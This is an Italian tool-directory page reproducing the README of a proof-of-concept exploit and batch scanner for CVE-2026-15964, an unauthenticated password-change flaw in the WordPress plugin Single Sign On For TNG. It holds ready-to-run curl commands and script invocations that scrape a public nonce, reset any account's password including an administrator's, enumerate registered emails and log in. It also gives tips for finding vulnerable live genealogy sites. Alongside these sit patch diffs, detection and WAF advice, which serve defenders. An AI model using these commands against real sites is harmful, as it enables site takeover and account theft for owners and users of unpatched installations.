Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-15964-PoC — PoC e checker per CVE-2026-15964 - modifica della password non autenticata nel plugin WordPress Single Sign On For TNG <= 2.0.0 (CVSS 9.8) | Kitploit
Strumenti/GitHubGitHub/instructor-admin/cve-2026-15964-poc
Autenticazione e AutorizzazioneEscalation di PrivilegiScanner di Vulnerabilità WebExploitSfruttamento di Applicazioni WebRaccolta InformazioniSicurezza WebPenetration Testing

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
instructor-admin/cve-2026-15964-poc

CVE-2026-15964-PoC

PoC e checker per CVE-2026-15964 - modifica della password non autenticata nel plugin WordPress Single Sign On For TNG <= 2.0.0 (CVSS 9.8)

Vedi Repository
119 giorni faNon ancora revisionato

CVE-2026-15964 - Single Sign On For TNG <= 2.0.0

POC

Escalation dei privilegi non autenticata tramite modifica non verificata della password nel plugin WordPress Single Sign On For TNG.

GravitàCritica (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-620 (Modifica della password non verificata)
Versioni interessateversioni del plugin dalla 1.0.0 alla 2.0.0
Corretta in2.1.0 (rilasciata il 2026-07-27)
Pubblicata2026-08-01
Autenticazione richiestanessuna (wp_ajax_nopriv_ssoprocess_ajax)
Impattocambiare la password di qualsiasi account WordPress, inclusi gli amministratori - compromissione totale del sito
Pluginhttps://wordpress.org/plugins/single-sign-on-for-tng/

TL;DR

Qualsiasi visitatore non autenticato può cambiare la password di qualsiasi account su un sito che esegue il plugin alla 2.0.0 o precedente. Bastano due richieste HTTP:

  1. GET sulla homepage e copia il nonce dall'oggetto JavaScript SSOPWDREQUIREMENT.
  2. POST su admin-ajax.php con operation=setnewpassword, l'email della vittima e una nuova password.

Il resto lo fa reset_password() del core di WordPress. Nessun token, nessun link di conferma via email, nessun controllo delle capacità. Dopo di che si accede come amministratore.

root@kitploit:~
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}

Perché funziona

Il gestore è registrato per gli utenti non autenticati

In single-sign-on-for-tng.php (v2.0.0):

root@kitploit:~
add_action('wp_ajax_ssoprocess_ajax',        array($this, 'ssoprocess_ajax'));   // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax'));   // line 69

wp_ajax_nopriv_* significa che il gestore è raggiungibile senza alcuna sessione.

L'unica protezione è un nonce che il plugin consegna a ogni visitatore

load_scripts() è agganciato a wp_enqueue_scripts, quindi su ogni pagina front-end il plugin stampa questo nell'HTML:

root@kitploit:~
wp_localize_script('general_script','SSOPWDREQUIREMENT',
    array('passwordspec'=>PASSWORDSPEC,
          'url'=>admin_url('admin-ajax.php'),
          'nonce'=>wp_create_nonce("ssoajaxnonce")));                              // line 96

Che viene renderizzato così:

root@kitploit:~
<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>

E il gestore lo verifica così:

root@kitploit:~
public function ssoprocess_ajax() {
    global $wpdb;
    check_ajax_referer('ssoajaxnonce', 'nonce');   // line 104
    ...

L'inghippo: WordPress calcola i nonce con wp_create_nonce($action) usando uid e il token di sessione. Per i visitatori non autenticati questi sono 0 e una stringa vuota, il che significa che ogni visitatore anonimo riceve esattamente lo stesso nonce. Viene rigenerato solo ogni 12 ore (il "tick" del nonce). Quindi il nonce che il plugin stampa per qualsiasi visitatore è valido anche per l'attaccante - non c'è alcun segreto da rubare, è pubblicato nella pagina stessa.

E poi il cambio vero e proprio, senza alcuna prova di proprietà

root@kitploit:~
switch ($op) {
    case 'setnewpassword':
        if (!isset($post['email']) || !isset($post['password'])) { ... }
        $email = wp_unslash($post['email']);
        $user  = get_user_by('email', $email);
        if ($user !== false) {
            reset_password($user, $post['password']);   // line 120
            ...
            wp_send_json_success(array('success'=>true));
        }
        else
            wp_send_json_error(array('success'=>false));
        break;

reset_password() è una funzione del core di WordPress. Imposta il nuovo hash, disconnette la vittima da ogni altra sessione e attiva le azioni password_reset / after_password_reset. Qui viene chiamata senza che nulla dimostri che chi la invoca sia il proprietario dell'account.

Due cose in più che vale la pena sapere:

  • Nessun controllo lato server della robustezza della password su questo percorso. Le regole MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC del plugin vengono applicate solo in validate_form() per i moduli Forminator, mai qui. Qualsiasi password è accettata.
  • Enumerazione degli account. {"success":true} rispetto a {"success":false} ti dice se un'email è registrata. La modalità --enum-only del checker sfrutta questa cosa.
  • Bug bonus nella stessa funzione: operation=set_tzoffset chiama update_option('localtzoffset', $post['timezoneoffset']) senza autenticazione. Non sfruttabile direttamente per una RCE, ma è una scrittura di opzioni non autenticata e merita di essere menzionata nel writeup.

Cosa è cambiato nella 2.1.0

Il diff tra la 2.0.0 e la 2.1.0 rende evidente la correzione (e conferma il bug):

root@kitploit:~
             case 'setnewpassword':
+                $timeout = intval($post['timeout']);
+                if (time() > $timeout) {
+                    // clears custom_recovery_token / _expiration / _nonce user meta
+                    wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+                    return;
+                }
                 $email = wp_unslash($post['email']);
                 $user  = get_user_by('email',$email);
                 if ($user !== false) {
                     reset_password($user,$post['password']);

inoltre, in newpasswordform():

root@kitploit:~
+            if (empty($_GET['uid']))
+                return ... "An unexpected error occurred." ...
+            $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+            // The nonce is checked here
+            if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+                return ... "This recovery link is no longer valid." ...

Quindi nella 2.1.0 il flusso è: una richiesta di recupero legittima salva un custom_recovery_token + custom_recovery_nonce per utente nei meta utente, il link di recupero trasporta l'ID utente, il modulo li valida entrambi e il gestore AJAX rifiuta di eseguire una volta scaduta la finestra di recupero (timeout). Un attaccante che non può produrre un record di recupero ancora valido non può più pilotare setnewpassword.


Riproduzione (manuale)

Passo 1 - estrarre il nonce

root@kitploit:~
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"

Passo 2 - cambiare la password

root@kitploit:~
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -H "X-Requested-With: XMLHttpRequest" \
  -d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"

Risposta attesa su un'installazione vulnerabile: {"success":true}

Passo 3 - accedere

root@kitploit:~
curl -sk -X POST https://target/wp-login.php \
  -d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"

PoC: CVE-2026-15964.py

Exploit per singolo sito. Modalità non distruttive incluse.

root@kitploit:~
# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'

# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only

# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12

# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only

# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check

Checker: CVE-2026-15964-checker.py

Scanner batch per i tuoi elenchi di siti. Non distruttivo per progettazione - non modifica mai una password.

Come classifica ogni sito:

  1. Impronta HTML - oggetto SSOPWDREQUIREMENT o percorsi degli asset /wp-content/plugins/single-sign-on-for-tng/ nella homepage.
  2. Versione - riga Stable tag: del readme.txt. <= 2.0.0 è vulnerabile, >= 2.1.0 è corretta. Questo è il criterio autorevole secondo la CVE.
  3. Sonda comportamentale (--probe, solo quando la versione non può essere letta) - invia operation=setnewpassword con un'email inesistente. Un'installazione 2.0.0 risponde {"success":false} senza messaggio di errore; una 2.1.0 risponde con il messaggio "time to submit the new password expired". Un'email reale non viene mai inviata - inviarla reimposterebbe davvero la password.
root@kitploit:~
# scan a file of URLs, with the safe probe and 20 workers
python3 CVE-2026-15964-checker.py -f sites.txt --probe --workers 20 --csv results.csv

# or a handful of URLs directly
python3 CVE-2026-15964-checker.py -u https://a.com -u https://b.com

Output di esempio:

root@kitploit:~
URL                                             VERDICT           VER      NONCE  DETAIL
--------------------------------------------------------------------------------------------------------------
https://lab.example.com                         VULNERABLE        2.0.0    yes    readme Stable tag 2.0.0 <= 2.0.0
https://lab2.example.com                        PATCHED           2.1.0    yes    readme Stable tag 2.1.0 > 2.0.0
https://plain-wp.example.com                    PLUGIN_NOT_FOUND  -        -      

Total: 3 | VULNERABLE: 1 | PATCHED: 1 | UNKNOWN: 0 | other: 1

Verdetti: VULNERABLE / PATCHED / PLUGIN_NOT_FOUND / NOT_WORDPRESS / UNKNOWN / ERROR. UNKNOWN di solito indica un WAF, una cache CDN aggressiva o un sito che blocca il readme - controllali a mano.


Test degli strumenti in locale

tests/mock_server.py emula sei casi (vulnerabile-per-versione, corretta-per-versione, vulnerabile-per-sonda, corretta-per-sonda, WordPress senza il plugin, non-WordPress). È così che la logica del checker è stata validata prima di puntarla su qualcosa di reale:

root@kitploit:~
# terminal 1
python3 tests/mock_server.py 8081 vuln_readme

# terminal 2
python3 CVE-2026-15964-checker.py -u http://127.0.0.1:8081 --probe
# -> VULNERABLE

pip install -r requirements.txt installa l'unica dipendenza (requests).


Note dal campo

Contesto onesto, perché influisce su come usi questi strumenti.

  • Questo plugin ha come target TNG (The Next Generation of Genealogy Sitebuilding), cioè siti di genealogia amatoriale. È un ecosistema molto piccolo: circa 1.600 download complessivi su wordpress.org, installazioni attive nascoste (< 10), prima release ottobre 2024.
  • Poiché la 2.1.0 è comparsa solo il 2026-07-27, la stragrande maggioranza dei download riguarda versioni vulnerabili. Se trovi un'installazione, è molto probabile che sia ancora vulnerabile.
  • La scoperta è la parte difficile. Il plugin non lascia traccia nell'indice di Shodan (ho controllato ogni impronta a cui ho potuto pensare - zero risultati), e anche il fingerprinting dei primi 1.000 host WordPress restituiti da Shodan non ha trovato installazioni. Le fonti migliori sono: Google inurl:"single-sign-on-for-tng", "SSOPWDREQUIREMENT" nei motori di ricerca che indicizzano il sorgente completo delle pagine (PublicWWW, Censys, FOFA), e la stessa community di TNG (tngsitebuilding.com, forum di genealogia).
  • Il gruppo UNKNOWN del checker sarà relativamente ampio sui siti genealogici reali - molti girano dietro caching aggressivo o bloccano readme.txt. Non leggerlo come "non vulnerabile"; verifica a mano.

Rilevamento e correzione

  • Aggiorna alla 2.1.0 (o rimuovi del tutto il plugin).
  • Regola WAF: rifiuta le POST a admin-ajax.php in cui action=ssoprocess_ajax non proviene da una sessione autenticata; genera un alert su setnewpassword da fonti anonime.
  • Monitora i cambi di hash in wp_users.user_pass e le azioni password_reset / after_password_reset; tieni d'occhio gli accessi come amministratore subito dopo un cambio di password.
  • Considera ssoajaxnonce come informazione pubblica - lo è sempre stato.

Riferimenti

  • https://www.cve.org/CVERecord?id=CVE-2026-15964
  • https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-15964
  • https://www.wordfence.com/threat-intel/vulnerabilities/id/1d8d393e-764c-491d-8afb-7d4f8d0c387a?source=cve
  • Sorgente vulnerabile (2.0.0): https://plugins.trac.wordpress.org/browser/single-sign-on-for-tng/tags/2.0.0/single-sign-on-for-tng.php
  • Sorgente corretta (2.1.0): https://plugins.trac.wordpress.org/browser/single-sign-on-for-tng/tags/2.1.0/single-sign-on-for-tng.php
  • https://plugins.trac.wordpress.org/changeset?reponame=&old=3624827%40single-sign-on-for-tng&new=3624827%40single-sign-on-for-tng

Disclaimer

Questo repository è destinato esclusivamente a test di sicurezza autorizzati e scopi educativi. Sei responsabile delle tue azioni. Non eseguire questi strumenti contro sistemi che non possiedi o per i quali non hai un'autorizzazione scritta esplicita al test. L'accesso non autorizzato a sistemi informatici è un reato nella maggior parte delle giurisdizioni.

Scarica lo strumento